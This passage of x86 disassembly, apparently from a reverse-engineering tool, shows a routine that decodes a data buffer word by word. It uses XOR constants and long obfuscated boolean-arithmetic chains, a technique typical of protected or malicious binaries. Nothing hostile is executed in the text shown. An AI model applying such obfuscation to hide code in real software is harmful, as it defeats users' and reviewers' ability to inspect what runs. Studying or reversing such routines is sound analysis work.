add cx, 0xf33d
xor edx, edx
sub dx, cx
sub dx, ax
mov word [0x47b750], dx
mov dx, word [0x47b552]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0xfbb4
and dx, 0xfbb4
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x47b752], ax
mov ax, word [0x47b554]
xor ax, 0x6869
mov word [0x47b754], ax
mov ax, word [0x47b556]
xor ax, 0x4962
mov word [0x47b756], ax
mov dx, word [0x47b558]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0x2a6d
xor dx, 0xffff
and dx, 0xd592
or ax, dx
xor ax, 0xffff
mov word [0x47b758], ax
mov ax, word [0x47b55a]
mov cx, ax
xor cx, 0x922d
xor cx, 0xffff
mov dx, ax
or dx, 0x922d
and dx, cx
shl dx, 1
mov cx, ax
and cx, 0x922d
shl cx, 1
xor ax, 0x922d
add ax, cx
sub ax, 0x74b6
sub ax, dx
add ax, 0x74b6
mov word [0x47b75a], ax
mov ax, word [str.qizHu5]
mov cx, ax
xor cx, 0xffff
and cx, 0x2771
and ax, 0xd88e
or cx, ax
mov word [0x47b75c], cx
mov ax, word [0x47b55e]
xor ax, 0x379f
mov word [0x47b75e], ax
mov ax, word [0x47b560]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x6835
xor dx, 0xffff
mov cx, ax
and cx, 0x97ca
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
and dx, 0x6835
shl dx, 1
mov cx, dx
xor cx, 0x6835
and dx, 0x97ca
shl dx, 1
sub dx, cx
sub ax, dx
mov word [0x47b760], ax
mov ax, word [0x47b562]
xor ax, 0xbde3
mov word [0x47b762], ax
mov ax, word [0x47b564]
xor ax, 0x7d4c
mov word [0x47b764], ax
mov ax, word [0x47b566]
xor ax, 0x76be
mov word [0x47b766], ax
mov ax, word [0x47b568]
xor ax, 0xe197
mov word [0x47b768], ax
mov ax, word [0x47b56a]
mov dx, ax
and dx, 0x4dfd
shl dx, 1
sub ax, 0x2798
add ax, 0x4dfd
add ax, 0x2798
mov cx, ax
xor cx, dx
xor dx, 0xffff
and ax, dx
shl ax, 1
sub ax, cx
mov word [0x47b76a], ax
mov ax, word [0x47b56c]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
mov cx, ax
xor cx, 0xffff
mov si, ax
xor si, 0xffff
and cx, si
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x6deb
and ax, 0x6deb
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
and si, 0xffff
xor si, 0xffff
xor si, 0xffff
or si, 0
xor ax, 0xffff
mov dx, si
xor dx, 0xffff
mov bx, ax
xor bx, 0xffff
mov di, dx
and di, 0xb385
and si, 0x4c7a
mov cx, bx
and cx, 0xb385
and ax, 0x4c7a
or di, si
or cx, ax
xor di, cx
or dx, bx
xor dx, 0xffff
and dx, 0xffff
or di, dx
mov word [0x47b76c], di
mov ax, word [0x47b56e]
mov cx, ax
xor cx, 0xffff
and cx, 0x4583
and ax, 0xba7c
or cx, ax
xor cx, 0x3f71
mov word [0x47b76e], cx
mov ax, word [0x47b570]
mov cx, ax
xor cx, 0xffff
and cx, 0x6305
and ax, 0x9cfa
or cx, ax
mov word [0x47b770], cx
mov ax, word [0x47b572]
xor ax, 0x38de
mov word [0x47b772], ax
mov ax, word [0x47b574]
xor ax, 0xbaa3
mov word [0x47b774], ax
mov ax, word [0x47b576]
mov si, ax
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
or si, dx
mov dx, si
and dx, 0xb09d
xor dx, 0xffff
and si, 0xb09d
xor si, 0xffff
xor dx, 0xffff
xor si, 0xffff
or dx, si
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
xor ax, 0xffff
or ax, 0xb09d
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
and si, 0xffff
xor si, 0xffff
xor si, 0xffff
or si, 0
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or si, ax
mov word [0x47b776], si
mov ax, word [0x47b578]
xor ax, 0xcf5a
mov word [0x47b778], ax
mov ax, word [0x47b57a]
mov cx, ax
and cx, cx
xor cx, 0xffff
mov si, ax
add si, si
add si, 1
add si, cx
mov dx, si
xor dx, 0xffff
and dx, 0x4d6c
and si, 0xb293
or dx, si
xor dx, 0xb293
or dx, 0x7eee
and dx, dx
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
mov cx, ax
and cx, 0x8111
xor cx, 0xffff
add ax, 0x8111
add ax, 1
add ax, cx
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
or dx, ax
xor dx, 0xffff
mov word [0x47b77a], dx
mov ax, word [0x47b57c]
xor ax, 0x41cf
mov word [0x47b77c], ax
mov cx, word [0x47b57e]
mov ax, cx
xor ax, 0xffff
and ax, 0x8342
and cx, 0x7cbd
or ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0xb1b0
and ax, 0x4e4f
or cx, ax
mov word [0x47b77e], cx
mov ax, word [0x47b580]
mov si, ax
and si, si
xor si, 0xffff
mov cx, ax
and cx, cx
xor cx, 0xffff
and si, cx
xor si, 0xffff
mov dx, si
xor dx, 0xffff
and dx, 0x6db9
and si, 0x9246
or dx, si
xor dx, 0x9246
or dx, dx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0xcaa5
mov cx, ax
xor cx, 0x355a
and cx, ax
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
mov word [0x47b780], dx
mov dx, word [0x47b582]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
or ax, 0x2c7
add ax, 0xfd39
and dx, 0x2c7
or ax, dx
mov cx, ax
xor cx, 0xffff
and cx, 0xc13d
and ax, 0x3ec2
or cx, ax
xor cx, 0x7cdf
mov word [0x47b782], cx
mov dx, word [0x47b584]
mov si, dx
xor si, 0xffff
and si, 0xffff
or si, 0
mov ax, dx
xor ax, 0xffff
or si, ax
mov ax, si
xor ax, 0xffff
or ax, 0xf3a7
xor si, 0xffff
or si, 0xf3a7
xor ax, 0xffff
xor si, 0xffff
or ax, si
xor ax, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
or si, 0
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0xc58
xor ax, 0xffff
xor si, 0xffff
or ax, si
mov word [0x47b784], ax
mov dx, word [0x47b586]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x2531
and dx, 0x2531
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, dx
add ax, cx
xor ax, 0xffff
mov word [0x47b786], ax
mov dx, word [0x47b588]
mov ax, dx
xor ax, 0xffff
and ax, 0x45f
mov cx, dx
and cx, 0xfba0
or ax, cx
xor ax, 0xfba0
and ax, 0x6b3a
xor dx, 0xffff
or dx, 0x6b3a
xor dx, 0xffff
and dx, 0xffff
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
xor ax, 0xc26
mov word [0x47b788], ax
mov dx, word [0x47b58a]
mov cx, dx
and cx, cx
xor cx, 0xffff
mov ax, dx
add ax, ax
add ax, 1
add ax, cx
xor ax, 0xffff
or ax, 0x3d4
xor ax, 0xffff
or dx, 0xfc2b
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
and dx, 0xffff
xor dx, 0xffff
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
mov word [0x47b78a], ax
mov ax, word [0x47b58c]
xor ax, 0xebe2
mov word [0x47b78c], ax
mov ax, word [0x47b58e]
mov si, ax
xor si, 0xffff
mov di, ax
xor di, 0xffff
mov dx, si
xor dx, 0xffff
mov cx, di
xor cx, 0xffff
and dx, cx
xor si, 0xffff
xor di, 0xffff
and si, di
xor dx, 0xffff
xor si, 0xffff
and dx, si
xor dx, 0xffff
or dx, 0x6a50
xor ax, 0xffff
or ax, 0x95af
and dx, ax
xor dx, 0xffff
mov word [0x47b78e], dx
mov dx, word [0x47b590]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0x6377
and dx, 0x9c88
or ax, dx
xor ax, 0xe437
mov word [0x47b790], ax
mov ax, word [0x47b592]
mov cx, ax
xor cx, 0xffff
and cx, 0xa26b
and ax, 0x5d94
or cx, ax
mov word [str.D_n_C], cx
mov ax, word [0x47b594]
xor ax, 0x86d9
mov word [0x47b794], ax
mov ax, word [0x47b596]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov si, ax
add si, 0xffff
sub si, cx
mov cx, ax
xor cx, 0xffff
mov dx, si
and dx, cx
xor si, cx
or dx, si
xor dx, 0xffff
or dx, 0x5cd1
mov cx, ax
xor cx, 0x5cd1
xor cx, 0xffff
or ax, 0x5cd1
and ax, cx
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov cx, dx
and cx, ax
xor dx, ax
or cx, dx
mov word [0x47b796], cx
mov dx, word [0x47b598]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0x5d24
xor ax, 0xffff
and ax, 0xffff
and dx, 0x5d24
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
mov word [0x47b798], ax
mov ax, word [0x47b59a]
mov cx, ax
and cx, 0xbb8a
shl cx, 1
add ax, 0xbb8a
sub ax, cx
mov word [0x47b79a], ax
mov ax, word [0x47b59c]
xor ax, 0xe93f
mov word [0x47b79c], ax
mov ax, word [0x47b59e]
xor ax, 0x2686
mov word [0x47b79e], ax
mov dx, word [0x47b5a0]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
or ax, 0x21df
xor dx, 0xffff
or dx, 0xde20
and ax, dx
xor ax, 0xffff
mov word [0x47b7a0], ax
mov ax, word [0x47b5a2]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
xor dx, 0xffff
or dx, 0x2d25
xor dx, 0xffff
and dx, 0xffff
and ax, 0x2d25
or dx, ax
mov word [0x47b7a2], dx
mov ax, word [0x47b5a4]
xor ax, 0x5565
mov word [0x47b7a4], ax
mov ax, word [0x47b5a6]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov si, ax
add si, 0xffff
sub si, cx
and si, 0x63e5
and ax, 0x9c1a
mov dx, si
xor dx, 0xffff
xor si, 0xffff
or dx, si
and ax, ax
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
xor dx, 0xce3c
mov word [0x47b7a6], dx
mov ax, word [0x47b5a8]
mov dx, ax
and dx, 0xf9da
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0xf9da
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x47b7a8], ax
mov ax, word [0x47b5aa]
mov cx, ax
xor cx, 0x4cb9
mov dx, cx
xor dx, 0xffff
and dx, 0x873
and cx, 0xf78c
or dx, cx
xor dx, 0xf78c
and dx, 0x4cb9
shl dx, 1
add dx, 0x69fe
sub dx, 0x4cb9
sub dx, 0x69fe
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x47b7aa], ax
mov ax, word [0x47b5ac]
mov cx, ax
and cx, cx
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
or dx, 0x7b4f
xor ax, 0xffff
or ax, 0x84b0
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor ax, 0xffff
or dx, ax
mov word [0x47b7ac], dx
mov ax, word [0x47b5ae]
xor ax, 0xdb23
mov word [0x47b7ae], ax
mov ax, word [0x47b5b0]
mov cx, ax
add cx, 1
mov si, ax
xor si, 0xffff
or si, ax
add si, cx
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
or si, 0
mov dx, si
xor dx, 0xffff
xor si, 0xffff
or dx, si
xor dx, 0xffff
or dx, 0x9da2
xor ax, 0xffff
mov cx, ax
and cx, 0x625d
xor cx, 0xffff
add ax, 0x625d
add ax, 1
add ax, cx
and dx, ax
xor dx, 0xffff
mov word [0x47b7b0], dx
mov ax, word [0x47b5b2]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
and cx, dx
mov si, cx
and si, 0xed73
xor cx, 0xed73
or si, cx
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
or ax, 0x128c
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
or dx, ax
xor dx, 0xffff
mov word [0x47b7b2], dx
mov dx, word [0x47b5b4]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x79c1
xor dx, 0xffff
or dx, 0x863e
and ax, dx
xor ax, 0xffff
mov word [str.Hk:f], ax
mov ax, word [0x47b5b6]
mov cx, ax
and cx, 0x342
shl cx, 1
add ax, 0x342
sub ax, cx
mov word [0x47b7b6], ax
mov ax, word [0x47b5b8]
mov dx, ax
or dx, dx
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
xor dx, 0xffff
and dx, 0xffff
or dx, 0
and dx, 0xc882
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
and ax, 0x377d
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47b7b8], dx
mov dx, word [0x47b5ba]
mov ax, dx
xor ax, 0xffff
mov cx, ax
xor cx, 0x4075
xor cx, 0xffff
or ax, 0x4075
and ax, cx
and dx, 0xbf8a
or ax, dx
mov cx, ax
xor cx, 0x152d
xor cx, 0xffff
and cx, 0x152d
shl cx, 1
sub cx, 0x152d
sub ax, cx
mov word [0x47b7ba], ax
mov ax, word [0x47b5bc]
mov cx, ax
xor cx, 0x3969
xor cx, 0xffff
mov dx, ax
or dx, 0x3969
and dx, cx
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub ax, 0xc697
sub ax, dx
mov word [0x47b7bc], ax
mov cx, word [0x47b5be]
mov ax, cx
xor ax, 0xfbac
and ax, cx
shl ax, 1
mov dx, cx
and dx, 0x453
or cx, 0x453
add dx, cx
sub dx, 0xc956
sub dx, ax
add dx, 0xc956
mov word [0x47b7be], dx
mov ax, word [0x47b5c0]
mov cx, ax
xor cx, 0xffff
and cx, 0x57a2
and ax, 0xa85d
or cx, ax
mov word [0x47b7c0], cx
mov ax, word [str.BTs8I]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0x23ac
xor dx, 0xffff
or ax, 0xdc53
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47b7c2], dx
mov ax, word [0x47b5c4]
xor ax, 0x7c46
mov word [0x47b7c4], ax
mov ax, word [0x47b5c6]
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x25ef
mov cx, ax
or cx, 0x25ef
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x25ef
shl dx, 1
add dx, 0xda10
add dx, 1
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x47b7c6], ax
mov cx, word [0x47b5c8]
mov ax, cx
xor ax, 0xffff
and ax, 0xcb0e
and cx, 0x34f1
mov dx, cx
and dx, ax
xor dx, 0xffff
add ax, cx
add ax, 1
add ax, dx
xor ax, 0xbd4a
mov word [0x47b7c8], ax
mov ax, word [0x47b5ca]
mov cx, ax
and cx, 0x95c8
shl cx, 1
add ax, 0x95c8
sub ax, cx
mov word [0x47b7ca], ax
mov ax, word [0x47b5cc]
xor ax, 0xddae
mov word [0x47b7cc], ax
mov dx, word [0x47b5ce]
mov si, dx
or si, si
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
and si, 0xffff
and si, 0xb246
and dx, 0x4db9
mov di, si
xor di, 0xffff
mov bx, dx
xor bx, 0xffff
mov ax, di
and ax, 0x1fbe
and si, 0xe041
mov cx, bx
and cx, 0x1fbe
and dx, 0xe041
or ax, si
or cx, dx
xor ax, cx
or di, bx
xor di, 0xffff
and di, 0xffff
or ax, di
mov cx, ax
xor cx, 0x7304
xor cx, 0xffff
and cx, 0x7304
shl cx, 1
sub cx, 0x7304
sub ax, cx
mov word [0x47b7ce], ax
mov dx, word [0x47b5d0]
mov ax, dx
xor ax, 0xffff
and ax, 0xdf0b
xor dx, 0xffff
or dx, 0xdf0b
xor dx, 0xffff
and dx, 0xffff
or ax, dx
xor ax, 0xa839
mov word [0x47b7d0], ax
mov dx, word [0x47b5d2]
mov cx, dx
xor cx, 0xffff
mov ax, cx
xor ax, 0xffff
xor cx, 0xffff
and ax, cx
or ax, 0x41b3
xor ax, 0xffff
and dx, 0x41b3
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
mov word [0x47b7d2], ax
mov dx, word [0x47b5d4]
mov cx, dx
and cx, cx
xor cx, 0xffff
mov ax, cx
xor ax, 0xffff
and ax, 0xeeb7
and cx, 0x1148
or ax, cx
xor ax, 0x1148
or ax, 0xd186
xor dx, 0xffff
mov si, dx
or si, 0x2e79
xor si, 0xffff
xor dx, 0xffff
and dx, 0xd186
or si, dx
xor si, 0xffff
and ax, si
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
mov word [0x47b7d4], ax
mov ax, word [0x47b5d6]
xor ax, 0x1070
mov word [0x47b7d6], ax
mov ax, word [0x47b5d8]
mov cx, ax
xor cx, 0xffff
and cx, 0x2693
and ax, 0xd96c
or cx, ax
mov word [0x47b7d8], cx
mov ax, word [0x47b5da]
mov cx, ax
xor cx, 0x2a6a
xor cx, 0xffff
and cx, 0x2a6a
shl cx, 1
sub cx, 0x2a6a
sub ax, cx
mov word [0x47b7da], ax
mov ax, word [0x47b5dc]
mov cx, ax
xor cx, 0xb4aa
xor cx, 0xffff
and cx, 0xb4aa
shl cx, 1
sub cx, 0xb4aa
sub ax, cx
mov word [0x47b7dc], ax
mov ax, word [0x47b5de]
mov dx, ax
xor dx, 0xffff
and dx, 0xffff
or dx, 0
mov cx, ax
xor cx, 0xffff
mov si, dx
and si, cx
xor dx, cx
or si, dx
xor si, 0xffff
mov dx, si
xor dx, 0xffff
xor si, 0xffff
or dx, si
xor dx, 0xffff
or dx, 0x257c
and ax, 0x257c
xor ax, 0xffff
and dx, ax
mov ax, dx
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
or ax, 0
and ax, 0xffff
xor ax, 0xffff
mov word [0x47b7de], ax
mov ax, word [0x47b5e0]
xor ax, 0xb0cf
mov word [0x47b7e0], ax
mov ax, word [0x47b5e2]
mov cx, ax
xor cx, 0xffff
and cx, 0xe7f6
and ax, 0x1809
or cx, ax
mov word [0x47b7e2], cx
mov ax, word [0x47b5e4]
mov cx, ax
xor cx, 0xadde
xor cx, 0xffff
and cx, 0xadde
shl cx, 1
sub cx, 0xadde
mov si, ax
sub si, cx
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor dx, 0xffff
and dx, 0xadde
shl dx, 1
sub dx, 0xadde
sub ax, dx
mov word [0x47b7e4], ax
mov ax, word [0x47b5e6]
xor ax, 0x5496
mov word [0x47b7e6], ax
mov ax, word [0x47b5e8]
mov cx, ax
xor cx, 0xffff
and cx, 0x1dec
and ax, 0xe213
or cx, ax
xor cx, 0x9436
mov word [0x47b7e8], cx
mov ax, word [0x47b5ea]
mov dx, ax
and dx, 0x12c0
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x12c0
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x47b7ea], ax
mov dx, word [0x47b5ec]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0xcc45
and dx, 0x33ba
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
xor ax, 0x189d
mov word [0x47b7ec], ax
mov ax, word [0x47b5ee]
mov dx, ax
and dx, dx
xor dx, 0xffff
and dx, 0xf7e7
xor dx, 0xffff
and ax, 0x818
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47b7ee], dx
mov ax, word [0x47b5f0]
mov dx, ax
xor dx, 0xdb99
xor dx, 0xffff
and dx, 0xdb99
shl dx, 1
mov cx, dx
xor cx, 0xffff
and cx, 0xdb99
and dx, 0x2466
sub dx, cx
sub ax, dx
mov word [0x47b7f0], ax
mov ax, word [0x47b5f2]
xor ax, 0xd968
mov word [0x47b7f2], ax
mov ax, word [0x47b5f4]
xor ax, 0x90da
mov word [0x47b7f4], ax
mov ax, word [0x47b5f6]
xor ax, 0xa7a1
mov word [0x47b7f6], ax
mov ax, word [0x47b5f8]
mov cx, ax
and cx, 0x6a48
shl cx, 1
add ax, 0x6a48
sub ax, cx
mov word [0x47b7f8], ax
mov ax, word [0x47b5fa]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x9a1e
xor dx, 0xffff
and ax, 0x65e1
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47b7fa], dx
mov ax, word [0x47b5fc]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
and dx, 0x7e04
and ax, 0x81fb
or dx, ax
mov word [0x47b7fc], dx
mov ax, word [0x47b5fe]
mov cx, ax
and cx, 0x25df
shl cx, 1
add ax, 0x25df
sub ax, cx
mov word [0x47b7fe], ax
mov ax, word [0x47b600]
mov cx, ax
xor cx, 0xffff
and cx, 0x6258
and ax, 0x9da7
or cx, ax
mov word [0x47b800], cx
mov ax, word [0x47b602]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
and dx, 0xc9bb
mov cx, ax
xor cx, 0x3644
xor cx, 0xffff
or ax, 0x3644
and ax, cx
mov si, dx
xor si, 0xffff
mov bx, ax
xor bx, 0xffff
mov di, si
and di, 0x5035
and dx, 0xafca
mov cx, bx
and cx, 0x5035
and ax, 0xafca
or di, dx
or cx, ax
xor di, cx
or si, bx
xor si, 0xffff
and si, 0xffff
or di, si
mov word [0x47b802], di
mov ax, word [0x47b604]
xor ax, 0xf33a
mov word [0x47b804], ax
mov ax, word [0x47b606]
xor ax, 0xd28
mov word [0x47b806], ax
mov ax, word [0x47b608]
mov cx, ax
xor cx, 0xffff
and cx, 0x65dc
and ax, 0x9a23
or cx, ax
xor cx, 0x4ca
mov word [0x47b808], cx
mov ax, word [0x47b60a]
xor ax, 0xaa32
mov word [0x47b80a], ax
mov ax, word [0x47b60c]
mov si, ax
and si, si
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
or si, dx
mov dx, si
xor dx, 0xffff
and dx, 0x6e44
and si, 0x91bb
or dx, si
xor dx, 0x91bb
mov cx, dx
and cx, 0xa41
xor cx, 0xffff
add dx, 0xa41
add dx, 1
add dx, cx
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
or ax, 0xf5be
xor ax, 0xffff
mov cx, dx
xor cx, ax
and cx, dx
mov ax, cx
xor ax, 0xffff
xor cx, 0xffff
or ax, cx
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
mov word [0x47b80c], ax
mov ax, word [str.3_f_r__]
xor ax, 0x3068
mov word [0x47b80e], ax
mov ax, word [0x47b610]
xor ax, 0xeaad
mov word [0x47b810], ax
mov ax, word [0x47b612]
mov si, ax
or si, si
xor si, 0xffff
mov dx, si
or dx, 0x51b6
xor dx, 0xffff
or si, 0x51b6
xor si, 0xffff
or dx, si
xor dx, 0xffff
xor dx, 0xffff
xor ax, 0xffff
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, 0x51b6
add ax, cx
or dx, ax
xor dx, 0xffff
mov word [0x47b812], dx
mov ax, word [0x47b614]
mov cx, ax
xor cx, 0xffff
and cx, 0x57dc
and ax, 0xa823
or cx, ax
xor cx, 0x3ffa
mov word [0x47b814], cx
mov ax, word [0x47b616]
xor ax, 0xeac0
mov word [0x47b816], ax
mov ax, word [0x47b618]
mov dx, ax
and dx, 0x5b58
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x5b58
sub ax, dx
mov word [0x47b818], ax
mov ax, word [0x47b61a]
mov cx, ax
xor cx, 0xbef3
xor cx, 0xffff
and cx, 0xbef3
shl cx, 1
sub cx, 0xbef3
sub ax, cx
mov word [0x47b81a], ax
mov ax, word [0x47b61c]
xor ax, 0x6dae
mov word [0x47b81c], ax
mov ax, word [0x47b61e]
mov dx, ax
xor dx, 0x38eb
xor dx, 0xffff
xor dx, 0xffff
xor dx, 0x38eb
and dx, 0x38eb
shl dx, 1
add dx, 0xc715
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x47b81e], ax
mov ax, word [str.CZl]
mov dx, ax
xor dx, 0xa907
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
and dx, 0xa907
shl dx, 1
sub dx, 0x2ca8
sub dx, 0xa907
add dx, 0x2ca8
sub ax, dx
mov word [0x47b820], ax
mov ax, word [0x47b622]
xor ax, 0x1fbb
mov word [0x47b822], ax
mov ax, word [0x47b624]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
and dx, 0x955
and ax, 0xf6aa
or dx, ax
mov word [0x47b824], dx
mov ax, word [0x47b626]
mov dx, ax
xor dx, 0x2f44
and dx, ax
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub ax, 0x2f45
sub ax, dx
mov word [0x47b826], ax
mov ax, word [0x47b628]
xor ax, 0xeacf
mov word [0x47b828], ax
mov ax, word [0x47b62a]
xor ax, 0x8028
mov word [0x47b82a], ax
mov ax, word [0x47b62c]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0xf135
xor dx, 0xffff
and ax, 0xeca
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47b82c], dx
mov ax, word [0x47b62e]
xor ax, 0xa5b6
mov word [0x47b82e], ax
mov ax, word [0x47b630]
mov cx, ax
xor cx, 0xffff
and cx, 0x845c
and ax, 0x7ba3
or cx, ax
xor cx, 0xc914
mov word [0x47b830], cx
mov ax, word [0x47b632]
mov cx, ax
xor cx, 0xffff
and cx, 0x3f16
and ax, 0xc0e9
or cx, ax
xor cx, 0x58db
mov word [0x47b832], cx
mov ax, word [0x47b634]
mov dx, ax
xor dx, 0x9870
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
and dx, 0x9870
shl dx, 1
sub dx, 0x9870
sub ax, dx
mov word [0x47b834], ax
mov ax, word [0x47b636]
mov cx, ax
and cx, 0x6095
shl cx, 1
